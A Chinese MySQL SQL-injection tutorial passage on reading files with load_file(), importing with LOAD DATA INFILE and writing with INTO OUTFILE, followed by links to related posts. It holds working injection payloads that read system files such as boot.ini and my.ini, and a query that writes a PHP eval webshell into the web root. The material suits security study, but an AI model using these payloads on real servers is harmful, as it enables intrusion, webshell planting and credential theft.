Background-3 导入导出相关操作的讲解

  1. load_file()导出文件

    Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

    使用条件:

    A、必须有权限读取并且文件必须完全可读 

              and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。

          and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权

      B、欲读取文件必须在服务器上 

      C、必须指定文件完整的路径 

      D、欲读取文件必须小于 max_allowed_packet 

    如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。 

      在实际的注入中,我们有两个难点需要解决: 

         绝对物理路径 

    构造有效的畸形语句 (报错爆出绝对路径)

      在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。

    常用路径:

    http://www.cnblogs.com/lcamry/p/5729087.html

     

    示例:Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))

    利用hex()将文件内容导出来,尤其是smb文件时可以使用。

     

    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) 

    Explain:"char(99,58,47,98,111,111,116,46,105,110,105)"就是"c:/boot.ini"的ASCII代码

     

    -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) 

    Explain:"c:/boot.ini"的16进制是"0x633a2f626f6f742e696e69"

     

    -1 union select 1,1,1,load_file(c:\\boot.ini) 

    Explain:路径里的/用 \\代替

     

  2. 文件导入到数据库

    LOAD DATA INFILE语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。

    在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用load data infile导入到数据库中。

    函数具体介绍:对于参数介绍这里就不过多的赘述了,可以参考mysql的文档。(提醒:参考文档才是最佳的学习资料)

    示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

    将/tmp/t0.txt导入到t0表中,character set gbk是字符集设置为gbk,fields terminated by是每一项数据之间的分隔符,lines terminated by 是行的结尾符。

    当错误代码是2的时候的时候,文件不存在,错误代码为13的时候是没有权限,可以考虑/tmp等文件夹。

    TIPS:我们从mysql5.7的文档看到添加了load xml函数,是否依旧能够用来做注入还需要验证。

  3. 导入到文件

    SELECT.....INTO OUTFILE 'file_name'

    可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。

    我们一般有两种利用形式:

    第一种直接将select内容导入到文件中:

    Select version() into outfile "c:\\phpnow\\htdocs\\test.php"

    此处将version()替换成一句话,<?php @eval($_post["mima"])?>也即

    Select  <?php @eval($_post["mima"])?>  into outfile "c:\\phpnow\\htdocs\\test.php"

    直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。

     
     

    第二种修改文件结尾:

    Select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16进制文件

    解释:通常是用'\r\n'结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY

    16进制可以为一句话或者其他任何的代码,可自行构造。在sqlmap中os-shell采取的就是这样的方式,具体可参考os-shell分析文章:http://www.cnblogs.com/lcamry/p/5505110.html 

     

     

    TIPS:

    (1)可能在文件路径当中要注意转义,这个要看具体的环境

      (2)上述我们提到了load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:

    select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini')into outfile 'c:\\wamp\\www\\test.php'

    可以利用该语句将服务器当中的内容导入到web服务器下的目录,这样就可以得到数据了。上述my.ini当中存在password项(不过默认被注释),当然会有很多的内容可以被导出来,这个要平时积累。

MYSQL注入天书之导入导出介绍的更多相关文章

  1. MYSQL注入天书之HTTP头部介绍

    Background-5 HTTP头部介绍 在利用抓包工具进行抓包的时候,我们能看到很多的项,下面详细讲解每一项. HTTP头部详解 1. Accept:告诉WEB服务器自己接受什么介质类型,*/* ...

  2. MYSQL注入天书之开天辟地

    MYSQL注入天书 在线版本:xianzhi.aliyun.com 第一篇地址:https://xianzhi.aliyun.com/forum/read/314.html第二篇地址:https:// ...

  3. mysql source、mysqldump 导入导出数据(转)

    解决了mysql gbk编码的导入导出问题,感谢作者. 一.导入数据 1.确定 数据库默认编码,比如编码 为gbk,将读入途径编码同样设为gbk,命令为:           set names gb ...

  4. mysql命令行的导入导出sql,txt,excel(都在linux或windows命令行操作)(转自筑梦悠然)

    原文链接https://blog.csdn.net/wuhuagu_wuhuaguo/article/details/73805962 Mysql导入导出sql,txt,excel 首先我们通过命令行 ...

  5. MySQL 备份恢复(导入导出)单个 innodb表

    MySQL 备份恢复单个innodb表呢,对于这种恢复我们我们很多朋友都不怎么了解了,下面一起来看一篇关于MySQL 备份恢复单个innodb表的教程 在实际环境中,时不时需要备份恢复单个或多个表(注 ...

  6. MYSQL注入天书之基础知识

    第一部分/page-1 Basic Challenges Background-1 基础知识 此处介绍一些mysql注入的一些基础知识. (1)注入的分类---仁者见仁,智者见智. 下面这个是阿德玛表 ...

  7. sqoop用法之mysql与hive数据导入导出

    目录 一. Sqoop介绍 二. Mysql 数据导入到 Hive 三. Hive数据导入到Mysql 四. mysql数据增量导入hive 1. 基于递增列Append导入 1). 创建hive表 ...

  8. 使用MySQL的SELECT INTO OUTFILE ,Load data file,Mysql 大量数据快速导入导出

    使用MySQL的SELECT INTO OUTFILE .Load data file LOAD DATA INFILE语句从一个文本文件中以很高的速度读入一个表中.当用户一前一后地使用SELECT ...

  9. 021医疗项目-模块二:药品目录的导入导出-介绍poi类

    我们使用的是.10版本 Apache POI - the Java API for Microsoft Documents,Apache POI 是用Java编写的免费开源的跨平台的 Java API ...

随机推荐

  1. [洛谷P2577] [ZJOI2005]午餐

    洛谷题目链接:[ZJOI2005]午餐 题目描述 上午的训练结束了,THU ACM小组集体去吃午餐,他们一行N人来到了著名的十食堂.这里有两个打饭的窗口,每个窗口同一时刻只能给一个人打饭.由于每个人的 ...

  2. Java反射中method.isBridge() 桥接方法

    桥接方法是 JDK 1.5 引入泛型后,为了使Java的泛型方法生成的字节码和 1.5 版本前的字节码相兼容,由编译器自动生成的方法.我们可以通过Method.isBridge()方法来判断一个方法是 ...

  3. windows下用时间戳创建文件名

    英文环境下: echo Archive_%date:~-4,4%%date:~-10,2%%date:~-7,2%_%time:~0,2%%time:~3,2%%time:~6,2%.zip 中文: ...

  4. Spring 事务管理(山东数漫江湖)

    最新又重新学习了一遍Spring的事务,这里做点总结,不做如何一步步配置的流水账. 1. 关键类 public interface PlatformTransactionManager { Trans ...

  5. 【洛谷 P1525】 关押罪犯 (二分图+二分答案)

    题目链接 并查集+贪心当然是可以做的. 但我用二分图+二分答案. 二分一个\(mid\),删去所有边权小于等于\(mid\)的边,看有没有奇环存在,如果存在,则\(mid\)不行. #include ...

  6. Python第三方库SnowNLP(Simplified Chinese Text Processing)快速入门与进阶

    简介 github地址:https://github.com/isnowfy/snownlp SnowNLP是一个python写的类库,可以方便的处理中文文本内容,是受到了TextBlob的启发而写的 ...

  7. Django-【template】自定义过滤器和自定义标签

      模板语言内置的过滤器和标签比较少,往往会遇到无法满足需求的情况,所以需要我们来自定义.自定义filter和simple_tag在项目中很常用   a.首先检查settings下面INSTALLED ...

  8. 一个无线通信类投稿的期刊list

    转载一个,但是有些期刊的影响因子不是很对,要投的时候还是再到期刊主页上面看一看吧~ 期刊缩写 期刊全名 近年影响因子 P IEEE Proceedings Of The IEEE 3.686 IEEE ...

  9. glob模块的使用

    glob模块 功能描述:glob模块可以使用Unix shell风格的通配符匹配符合特定格式的文件和文件夹,跟windows的文件搜索功能差不多.glob模块并非调用一个子shell实现搜索功能,而是 ...

  10. jQuery 选中tr下面的第某个td

    1.问题描述 点击 table 中的某行 tr,获取该 tr 下的第一个 td 标签下的< input type="hidden" value="92"/ ...